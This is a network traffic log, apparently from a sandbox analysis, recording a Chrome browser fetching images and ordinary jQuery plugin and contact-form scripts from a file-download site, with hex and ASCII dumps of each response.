2024-06-15 09:15:02 UTC	2059	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 7c 00 00 00 31 08 06 00 00 00 18 d8 cd 0c 00 00 00 01 73 52 47 42 01 d9 c9 2c 7f 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 07 b0 49 44 41 54 78 9c ed 9a 0b 6c 4f 57 1c c7 51 1d 33 94 90 2e 63 8b 79 5b 8d 04 d9 c6 86 6d 31 61 36 af 3d 34 ea b1 cc 66 b2 c8 2a 52 8f 10 db cc 36 6c f3 8e a0 89 19 35 6f 8d c6 ab 74 d6 52 89 90 d6 f4 a5 2d fd b7 da a6 6f ad 52 04 fd b7 bd fb 9c ba 7f 39 3d fe 7f fd d3 ff dd 3f 99 f3 4d 3e 39 f7 7f ce b9 f7 dc f3 fb de f3 b8 b7 6d d4 48 cb a3 ba 78 f1 e2 90 94 94 94 4d 90 09 77 e0 16 24 91 ff 33 bc aa d6 37 0c 63 24 6c 85 1c b8 03 15 10 0f df 42 37 6f f4 41 cb 0d 61 66 00 84 61 6e 29 18 2e c8 4d 4e 4e 5e 9e 95 95 e5 8f 99 fd 20 1c 6e 18 ae 65 33 Data Ascii: PNGIHDR\|1sRGB,pHYsIDATxlOWQ3.cy[m1a6=4f*R6l5otR-oR9=?M>9mHxMw$37c$lB7oAafan).MNN^ ne3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.16	49829	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:02 UTC	711	OUT	GET /slake/asset/js/plugins.js HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:02 UTC	392	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Fri, 14 Jun 2024 08:00:11 GMT Content-Type: application/javascript Content-Length: 339281 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-52d51" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 90892 DDG-Cache-Status: HIT
2024-06-15 09:15:02 UTC	15992	IN	Data Raw: 0d 0a 2f 2a 20 20 6a 51 75 65 72 79 20 4e 69 63 65 20 53 65 6c 65 63 74 20 2d 20 76 31 2e 30 0d 0a 20 20 20 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 68 65 72 6e 61 6e 73 61 72 74 6f 72 69 6f 2f 6a 71 75 65 72 79 2d 6e 69 63 65 2d 73 65 6c 65 63 74 0d 0a 20 20 20 20 4d 61 64 65 20 62 79 20 48 65 72 6e c3 a1 6e 20 53 61 72 74 6f 72 69 6f 20 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 66 6e 2e 6e 69 63 65 53 65 6c 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 73 28 74 29 7b 74 2e 61 66 74 65 72 28 65 28 22 3c 64 69 76 3e 3c 2f 64 69 76 3e 22 29 2e 61 64 64 43 6c 61 73 73 28 22 6e 69 63 65 2d 73 65 6c 65 63 74 22 29 2e 61 64 64 43 6c 61 73 73 28 74 2e 61 74 74 72 28 22 63 6c 61 73 73 22 29 7c 7c Data Ascii: /* jQuery Nice Select - v1.0 https://github.com/hernansartorio/jquery-nice-select Made by Hernn Sartorio */!function(e){e.fn.niceSelect=function(t){function s(t){t.after(e("<div></div>").addClass("nice-select").addClass(t.attr("class")\|\|
2024-06-15 09:15:02 UTC	16384	IN	Data Raw: 65 27 3a 0d 0a 09 09 09 09 09 09 70 70 5f 64 69 6d 65 6e 73 69 6f 6e 73 20 3d 20 5f 66 69 74 54 6f 56 69 65 77 70 6f 72 74 28 6d 6f 76 69 65 5f 77 69 64 74 68 2c 6d 6f 76 69 65 5f 68 65 69 67 68 74 29 3b 20 2f 2f 20 46 69 74 20 69 74 65 6d 20 74 6f 20 76 69 65 77 70 6f 72 74 0d 0a 09 09 09 09 09 09 0d 0a 09 09 09 09 09 09 2f 2f 20 52 65 67 75 6c 61 72 20 79 6f 75 74 75 62 65 20 6c 69 6e 6b 0d 0a 09 09 09 09 09 09 6d 6f 76 69 65 5f 69 64 20 3d 20 67 65 74 50 61 72 61 6d 28 27 76 27 2c 70 70 5f 69 6d 61 67 65 73 5b 73 65 74 5f 70 6f 73 69 74 69 6f 6e 5d 29 3b 0d 0a 09 09 09 09 09 09 0d 0a 09 09 09 09 09 09 2f 2f 20 79 6f 75 74 75 2e 62 65 20 6c 69 6e 6b 0d 0a 09 09 09 09 09 09 69 66 28 6d 6f 76 69 65 5f 69 64 20 3d 3d 20 22 22 29 7b 0d 0a 09 09 09 09 09 09 Data Ascii: e':pp_dimensions = _fitToViewport(movie_width,movie_height); // Fit item to viewport// Regular youtube linkmovie_id = getParam('v',pp_images[set_position]);// youtu.be linkif(movie_id == ""){
2024-06-15 09:15:03 UTC	16384	IN	Data Raw: 65 73 2e 6c 65 6e 67 74 68 29 20 3f 20 69 74 65 6d 73 50 65 72 50 61 67 65 20 3a 20 70 70 5f 69 6d 61 67 65 73 2e 6c 65 6e 67 74 68 3b 0d 0a 09 09 09 09 74 6f 74 61 6c 50 61 67 65 20 3d 20 4d 61 74 68 2e 63 65 69 6c 28 70 70 5f 69 6d 61 67 65 73 2e 6c 65 6e 67 74 68 20 2f 20 69 74 65 6d 73 50 65 72 50 61 67 65 29 20 2d 20 31 3b 0d 0a 0d 0a 09 09 09 09 2f 2f 20 48 69 64 65 20 74 68 65 20 6e 61 76 20 69 6e 20 74 68 65 20 63 61 73 65 20 74 68 65 72 65 27 73 20 6e 6f 20 6e 65 65 64 20 66 6f 72 20 6c 69 6e 6b 73 0d 0a 09 09 09 09 69 66 28 74 6f 74 61 6c 50 61 67 65 20 3d 3d 20 30 29 7b 0d 0a 09 09 09 09 09 6e 61 76 57 69 64 74 68 20 3d 20 30 3b 20 2f 2f 20 4e 6f 20 6e 61 76 20 6d 65 61 6e 73 20 6e 6f 20 77 69 64 74 68 21 0d 0a 09 09 09 09 09 24 70 70 5f 67 61 Data Ascii: es.length) ? itemsPerPage : pp_images.length;totalPage = Math.ceil(pp_images.length / itemsPerPage) - 1;// Hide the nav in the case there's no need for linksif(totalPage == 0){navWidth = 0; // No nav means no width!$pp_ga
2024-06-15 09:15:03 UTC	16341	IN	Data Raw: 70 70 65 72 43 6c 61 73 73 4e 61 6d 65 3a 20 27 73 74 69 63 6b 79 2d 77 72 61 70 70 65 72 27 2c 0d 0a 20 20 20 20 20 20 63 65 6e 74 65 72 3a 20 66 61 6c 73 65 2c 0d 0a 20 20 20 20 20 20 67 65 74 57 69 64 74 68 46 72 6f 6d 3a 20 27 27 2c 0d 0a 20 20 20 20 20 20 77 69 64 74 68 46 72 6f 6d 57 72 61 70 70 65 72 3a 20 74 72 75 65 2c 20 2f 2f 20 77 6f 72 6b 73 20 6f 6e 6c 79 20 77 68 65 6e 20 2e 67 65 74 57 69 64 74 68 46 72 6f 6d 20 69 73 20 65 6d 70 74 79 0d 0a 20 20 20 20 20 20 72 65 73 70 6f 6e 73 69 76 65 57 69 64 74 68 3a 20 66 61 6c 73 65 2c 0d 0a 20 20 20 20 20 20 7a 49 6e 64 65 78 3a 20 27 69 6e 68 65 72 69 74 27 0d 0a 20 20 20 20 7d 2c 0d 0a 20 20 20 20 24 77 69 6e 64 6f 77 20 3d 20 24 28 77 69 6e 64 6f 77 29 2c 0d 0a 20 20 20 20 24 64 6f 63 75 6d 65 Data Ascii: pperClassName: 'sticky-wrapper', center: false, getWidthFrom: '', widthFromWrapper: true, // works only when .getWidthFrom is empty responsiveWidth: false, zIndex: 'inherit' }, $window = $(window), $docume
2024-06-15 09:15:03 UTC	16384	IN	Data Raw: 67 65 72 51 75 65 75 65 73 3d 7b 75 70 3a 5b 5d 2c 64 6f 77 6e 3a 5b 5d 2c 6c 65 66 74 3a 5b 5d 2c 72 69 67 68 74 3a 5b 5d 7d 7d 2c 69 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6c 75 73 68 54 72 69 67 67 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 68 69 73 2e 74 72 69 67 67 65 72 51 75 65 75 65 73 29 7b 76 61 72 20 6f 3d 74 68 69 73 2e 74 72 69 67 67 65 72 51 75 65 75 65 73 5b 69 5d 2c 6e 3d 22 75 70 22 3d 3d 3d 69 7c 7c 22 6c 65 66 74 22 3d 3d 3d 69 3b 6f 2e 73 6f 72 74 28 6e 3f 65 3a 74 29 3b 66 6f 72 28 76 61 72 20 72 3d 30 2c 73 3d 6f 2e 6c 65 6e 67 74 68 3b 73 3e 72 3b 72 2b 3d 31 29 7b 76 61 72 20 61 3d 6f 5b 72 5d 3b 28 61 2e 6f 70 74 69 6f 6e 73 2e 63 6f 6e 74 69 6e 75 6f 75 73 7c 7c 72 3d 3d 3d 6f 2e 6c 65 6e Data Ascii: gerQueues={up:[],down:[],left:[],right:[]}},i.prototype.flushTriggers=function(){for(var i in this.triggerQueues){var o=this.triggerQueues[i],n="up"===i\|\|"left"===i;o.sort(n?e:t);for(var r=0,s=o.length;s>r;r+=1){var a=o[r];(a.options.continuous\|\|r===o.len
2024-06-15 09:15:03 UTC	16384	IN	Data Raw: 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 66 69 6c 74 65 72 53 6c 69 64 65 73 3d 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 6b 46 69 6c 74 65 72 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6e 75 6c 6c 21 3d 3d 69 26 26 28 65 2e 24 73 6c 69 64 65 73 43 61 63 68 65 3d 65 2e 24 73 6c 69 64 65 73 2c 65 2e 75 6e 6c 6f 61 64 28 29 2c 65 2e 24 73 6c 69 64 65 54 72 61 63 6b 2e 63 68 69 6c 64 72 65 6e 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 29 2e 64 65 74 61 63 68 28 29 2c 65 2e 24 73 6c 69 64 65 73 43 61 63 68 65 2e 66 69 6c 74 65 72 28 69 29 2e 61 70 70 65 6e 64 54 6f 28 65 2e 24 73 6c 69 64 65 54 72 61 63 6b 29 2c 65 2e 72 65 69 6e 69 74 28 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 63 75 73 48 61 6e 64 Data Ascii: ,e.prototype.filterSlides=e.prototype.slickFilter=function(i){var e=this;null!==i&&(e.$slidesCache=e.$slides,e.unload(),e.$slideTrack.children(this.options.slide).detach(),e.$slidesCache.filter(i).appendTo(e.$slideTrack),e.reinit())},e.prototype.focusHand
2024-06-15 09:15:03 UTC	16384	IN	Data Raw: 6d 65 6e 74 73 5b 31 5d 26 26 28 6e 3d 22 73 69 6e 67 6c 65 22 29 29 2c 22 73 69 6e 67 6c 65 22 3d 3d 3d 6e 29 72 2e 6f 70 74 69 6f 6e 73 5b 6f 5d 3d 73 3b 65 6c 73 65 20 69 66 28 22 6d 75 6c 74 69 70 6c 65 22 3d 3d 3d 6e 29 69 2e 65 61 63 68 28 6f 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 65 29 7b 72 2e 6f 70 74 69 6f 6e 73 5b 69 5d 3d 65 7d 29 3b 65 6c 73 65 20 69 66 28 22 72 65 73 70 6f 6e 73 69 76 65 22 3d 3d 3d 6e 29 66 6f 72 28 74 20 69 6e 20 73 29 69 66 28 22 61 72 72 61 79 22 21 3d 3d 69 2e 74 79 70 65 28 72 2e 6f 70 74 69 6f 6e 73 2e 72 65 73 70 6f 6e 73 69 76 65 29 29 72 2e 6f 70 74 69 6f 6e 73 2e 72 65 73 70 6f 6e 73 69 76 65 3d 5b 73 5b 74 5d 5d 3b 65 6c 73 65 7b 66 6f 72 28 65 3d 72 2e 6f 70 74 69 6f 6e 73 2e 72 65 73 70 6f 6e 73 69 76 65 2e 6c 65 Data Ascii: ments[1]&&(n="single")),"single"===n)r.options[o]=s;else if("multiple"===n)i.each(o,function(i,e){r.options[i]=e});else if("responsive"===n)for(t in s)if("array"!==i.type(r.options.responsive))r.options.responsive=[s[t]];else{for(e=r.options.responsive.le
2024-06-15 09:15:03 UTC	16384	IN	Data Raw: 6f 61 64 65 64 27 2c 0d 0a 09 09 6c 6f 61 64 69 6e 67 43 6c 61 73 73 3a 20 27 6f 77 6c 2d 6c 6f 61 64 69 6e 67 27 2c 0d 0a 09 09 72 74 6c 43 6c 61 73 73 3a 20 27 6f 77 6c 2d 72 74 6c 27 2c 0d 0a 09 09 72 65 73 70 6f 6e 73 69 76 65 43 6c 61 73 73 3a 20 27 6f 77 6c 2d 72 65 73 70 6f 6e 73 69 76 65 27 2c 0d 0a 09 09 64 72 61 67 43 6c 61 73 73 3a 20 27 6f 77 6c 2d 64 72 61 67 27 2c 0d 0a 09 09 69 74 65 6d 43 6c 61 73 73 3a 20 27 6f 77 6c 2d 69 74 65 6d 27 2c 0d 0a 09 09 73 74 61 67 65 43 6c 61 73 73 3a 20 27 6f 77 6c 2d 73 74 61 67 65 27 2c 0d 0a 09 09 73 74 61 67 65 4f 75 74 65 72 43 6c 61 73 73 3a 20 27 6f 77 6c 2d 73 74 61 67 65 2d 6f 75 74 65 72 27 2c 0d 0a 09 09 67 72 61 62 43 6c 61 73 73 3a 20 27 6f 77 6c 2d 67 72 61 62 27 0d 0a 09 7d 3b 0d 0a 0d 0a 09 Data Ascii: oaded',loadingClass: 'owl-loading',rtlClass: 'owl-rtl',responsiveClass: 'owl-responsive',dragClass: 'owl-drag',itemClass: 'owl-item',stageClass: 'owl-stage',stageOuterClass: 'owl-stage-outer',grabClass: 'owl-grab'};
2024-06-15 09:15:03 UTC	16384	IN	Data Raw: 28 74 68 69 73 2e 6d 69 6e 69 6d 75 6d 28 29 29 20 3a 20 74 68 69 73 2e 63 6f 6f 72 64 69 6e 61 74 65 73 28 74 68 69 73 2e 6d 61 78 69 6d 75 6d 28 29 29 3b 0d 0a 09 09 09 70 75 6c 6c 20 3d 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 70 75 6c 6c 44 72 61 67 20 3f 20 2d 31 20 2a 20 64 65 6c 74 61 2e 78 20 2f 20 35 20 3a 20 30 3b 0d 0a 09 09 09 73 74 61 67 65 2e 78 20 3d 20 4d 61 74 68 2e 6d 61 78 28 4d 61 74 68 2e 6d 69 6e 28 73 74 61 67 65 2e 78 2c 20 6d 69 6e 69 6d 75 6d 20 2b 20 70 75 6c 6c 29 2c 20 6d 61 78 69 6d 75 6d 20 2b 20 70 75 6c 6c 29 3b 0d 0a 09 09 7d 0d 0a 0d 0a 09 09 74 68 69 73 2e 5f 64 72 61 67 2e 73 74 61 67 65 2e 63 75 72 72 65 6e 74 20 3d 20 73 74 61 67 65 3b 0d 0a 0d 0a 09 09 74 68 69 73 2e 61 6e 69 6d 61 74 65 28 73 74 61 67 65 2e 78 Data Ascii: (this.minimum()) : this.coordinates(this.maximum());pull = this.settings.pullDrag ? -1 * delta.x / 5 : 0;stage.x = Math.max(Math.min(stage.x, minimum + pull), maximum + pull);}this._drag.stage.current = stage;this.animate(stage.x
2024-06-15 09:15:03 UTC	16384	IN	Data Raw: 74 20 3a 20 24 28 63 6f 6e 74 65 6e 74 29 3b 0d 0a 0d 0a 09 09 74 68 69 73 2e 74 72 69 67 67 65 72 28 27 61 64 64 27 2c 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 63 6f 6e 74 65 6e 74 2c 20 70 6f 73 69 74 69 6f 6e 3a 20 70 6f 73 69 74 69 6f 6e 20 7d 29 3b 0d 0a 0d 0a 09 09 63 6f 6e 74 65 6e 74 20 3d 20 74 68 69 73 2e 70 72 65 70 61 72 65 28 63 6f 6e 74 65 6e 74 29 3b 0d 0a 0d 0a 09 09 69 66 20 28 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 20 3d 3d 3d 20 30 20 7c 7c 20 70 6f 73 69 74 69 6f 6e 20 3d 3d 3d 20 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 29 20 7b 0d 0a 09 09 09 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 20 3d 3d 3d 20 30 20 26 26 20 74 68 69 73 2e 24 73 74 61 67 65 2e 61 70 70 65 6e 64 28 63 6f 6e 74 65 6e 74 29 3b 0d Data Ascii: t : $(content);this.trigger('add', { content: content, position: position });content = this.prepare(content);if (this._items.length === 0 \|\| position === this._items.length) {this._items.length === 0 && this.$stage.append(content);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.16	49827	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:02 UTC	708	OUT	GET /slake/asset/js/main.js HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:02 UTC	390	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Fri, 07 Jun 2024 14:25:55 GMT Content-Type: application/javascript Content-Length: 8720 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-2210" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 672547 DDG-Cache-Status: HIT
2024-06-15 09:15:02 UTC	8720	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 20 20 20 20 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 0a 0a 20 20 20 20 20 20 20 20 24 28 27 2e 73 6c 69 64 65 72 2d 77 72 61 70 70 65 72 27 29 2e 6f 6e 28 27 69 6e 69 74 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 73 6c 69 63 6b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 24 66 69 72 73 74 41 6e 69 6d 61 74 69 6e 67 45 6c 65 6d 65 6e 74 73 20 3d 20 24 28 27 64 69 76 2e 73 6c 69 64 65 72 2d 73 69 6e 67 6c 65 2d 69 74 65 6d 3a 66 69 72 73 74 2d 63 68 69 6c 64 27 29 2e 66 69 6e 64 28 27 5b 64 61 74 61 2d 61 6e 69 6d 61 74 69 6f 6e 5d 27 29 3b 0a 20 20 20 20 20 20 Data Ascii: (function ($) { "use strict"; jQuery(document).ready(function ($) { $('.slider-wrapper').on('init', function (e, slick) { var $firstAnimatingElements = $('div.slider-single-item:first-child').find('[data-animation]');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.16	49828	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:02 UTC	496	OUT	GET /slake/asset/slice_white.png HTTP/1.1 Host: download.oxy.st Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:02 UTC	354	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Wed, 12 Jun 2024 15:03:26 GMT Content-Type: image/png Content-Length: 6078 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT ETag: "5eefbeb2-17be" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 238296 DDG-Cache-Status: HIT
2024-06-15 09:15:02 UTC	6078	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c9 00 00 00 2d 08 06 00 00 00 04 13 4f 91 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 00 00 00 00 00 f9 43 bb 7f 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 17 22 49 44 41 54 78 da ed 9d 79 9c 14 d5 b5 c7 bf a7 7a 7a 16 66 9f 61 14 11 15 64 55 14 04 95 11 71 8d 1a 50 4c 24 2e 31 06 0d 5b 50 63 12 7d 1a a3 e4 25 71 c9 7b 79 09 2f 10 f2 f2 4c 34 26 12 d0 a8 89 49 54 34 0a 3c dc 41 45 05 05 02 12 45 10 65 80 81 19 66 63 f6 e9 a9 f3 fe b8 b7 9a 9e ea ea 9e 69 16 27 9f 30 bf cf a7 3f fd a9 7b 6f dd ba f7 54 9d 3a eb bd Data Ascii: PNGIHDR-OgAMAa cHRMz&u0`:pQ<bKGDCpHYs~"IDATxyzzfadUqPL$.1[Pc}%q{y/L4&IT4<AEEefci'0?{oT:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.16	49831	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:02 UTC	713	OUT	GET /slake/asset/js/ajax-mail.js HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:03 UTC	389	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Tue, 11 Jun 2024 03:01:56 GMT Content-Type: application/javascript Content-Length: 1667 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes Etag: "5eefbeb2-683" Age: 367988 DDG-Cache-Status: HIT
2024-06-15 09:15:03 UTC	1667	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 20 20 20 20 27 75 73 65 20 73 74 72 69 63 74 27 3b 0d 0a 0d 0a 20 20 20 20 2f 2f 20 47 65 74 20 74 68 65 20 66 6f 72 6d 2e 0d 0a 20 20 20 20 76 61 72 20 66 6f 72 6d 20 3d 20 24 28 27 23 64 69 67 69 74 61 2d 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 27 29 3b 0d 0a 0d 0a 20 20 20 20 2f 2f 20 47 65 74 20 74 68 65 20 6d 65 73 73 61 67 65 73 20 64 69 76 2e 0d 0a 20 20 20 20 76 61 72 20 66 6f 72 6d 4d 65 73 73 61 67 65 73 20 3d 20 24 28 27 2e 63 6f 6e 74 61 63 74 2d 73 65 6e 64 2d 6d 65 73 73 61 67 65 27 29 3b 0d 0a 0d 0a 20 20 20 20 2f 2f 20 53 65 74 20 75 70 20 61 6e 20 65 76 65 6e 74 20 6c 69 73 74 65 6e 65 72 20 66 6f 72 20 74 68 65 20 63 6f 6e 74 61 63 74 20 66 6f 72 6d 2e 0d 0a 20 20 20 20 24 28 66 6f 72 6d 29 2e Data Ascii: (function($) { 'use strict'; // Get the form. var form = $('#digita-contact-form'); // Get the messages div. var formMessages = $('.contact-send-message'); // Set up an event listener for the contact form. $(form).

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.16	49832	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:02 UTC	483	OUT	GET /images/ltd.svg HTTP/1.1 Host: download.oxy.st Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:03 UTC	382	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 08 Jun 2024 14:33:52 GMT Content-Type: image/svg+xml Content-Length: 50208 Last-Modified: Fri, 20 Nov 2020 00:55:29 GMT Vary: Accept-Encoding ETag: "5fb71401-c420" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 585671 DDG-Cache-Status: HIT
2024-06-15 09:15:03 UTC	16002	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 33 36 39 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 36 39 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 34 2e 34 35 30 32 20 31 31 2e 32 35 36 38 4c 37 2e 32 39 33 39 35 20 33 2e 30 34 36 38 38 48 38 2e 37 32 39 34 39 4c 35 2e 30 33 38 30 39 20 31 33 48 33 2e 38 37 35 39 38 4c 30 2e 31 39 31 34 30 36 20 33 2e 30 34 36 38 38 48 31 2e 36 32 30 31 32 4c 34 2e 34 35 30 32 20 31 31 2e 32 35 36 38 5a 4d 31 35 2e 36 39 35 33 20 38 2e 33 39 39 34 31 48 31 31 2e 33 38 31 38 56 31 31 2e 39 32 36 38 48 31 36 2e 33 39 32 36 56 31 33 48 31 30 2e 30 36 Data Ascii: <svg width="369" height="48" viewBox="0 0 369 48" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M4.4502 11.2568L7.29395 3.04688H8.72949L5.03809 13H3.87598L0.191406 3.04688H1.62012L4.4502 11.2568ZM15.6953 8.39941H11.3818V11.9268H16.3926V13H10.06
